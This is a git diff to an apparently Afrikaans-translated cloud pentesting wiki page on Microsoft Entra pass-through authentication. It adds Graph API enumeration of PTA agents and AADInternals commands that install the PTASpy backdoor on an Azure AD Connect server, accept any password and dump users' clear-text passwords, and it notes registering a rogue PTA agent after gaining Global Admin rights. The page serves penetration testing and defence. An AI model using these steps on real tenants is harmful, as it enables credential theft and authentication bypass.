diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 692c8911a..b92f8348b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Basiese Inligting -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-helpdesk koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Azure AD, **valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory**. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-helpdesk koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory. -In PTA **identiteite** is **gesinkroniseer** maar **wagwoorde** **is nie** soos in PHS. +In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS nie. Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie). @@ -14,8 +14,8 @@ Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die
-1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur -2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel +1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur. +2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel. 3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem. 4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**. @@ -23,20 +23,54 @@ Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die > As 'n aanvaller die **PTA** **kompromitteer**, kan hy die alle **bewyse** uit die ry **sien** (in **duidelike teks**).\ > Hy kan ook **enige bewys** na die AzureAD **valideer** (soortgelyke aanval op Skeleton key). -### Plaaslik -> wolk +### Enumerasie -As jy **admin** toegang het tot die **Azure AD Connect bediener** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **agterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, **sal valideer** (sodat al die wagwoorde geldig sal wees vir verifikasie): +From Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +Kontroleer of die agent op die plaaslike bediener loop: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +As jy **admin** toegang het tot die **Azure AD Connect-server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **achterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir outentisering): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > As die **installasie misluk**, is dit waarskynlik as gevolg van ontbrekende [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Dit is ook moontlik om **die duidelike teks wagwoorde wat na die PTA-agent gestuur is, te sien** deur die volgende cmdlet op die masjien waar die vorige agterdeur geïnstalleer is te gebruik: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` -Hierdie agterdeur sal: +Hierdie backdoor sal: - 'n Versteekte gids `C:\PTASpy` skep - 'n `PTASpy.dll` na `C:\PTASpy` kopieer @@ -45,10 +79,8 @@ Hierdie agterdeur sal: > [!NOTE] > Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word. -### Cloud -> On-Prem - > [!CAUTION] -> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **'n nuwe PTA-agent te registreer** deur dit op 'n **aanvaller beheerde masjien** in te stel. Sodra die agent **opgestel** is, kan ons die **vorige** stappe **herhaal** om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te verkry.** +> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te verkry.** ### Seamless SSO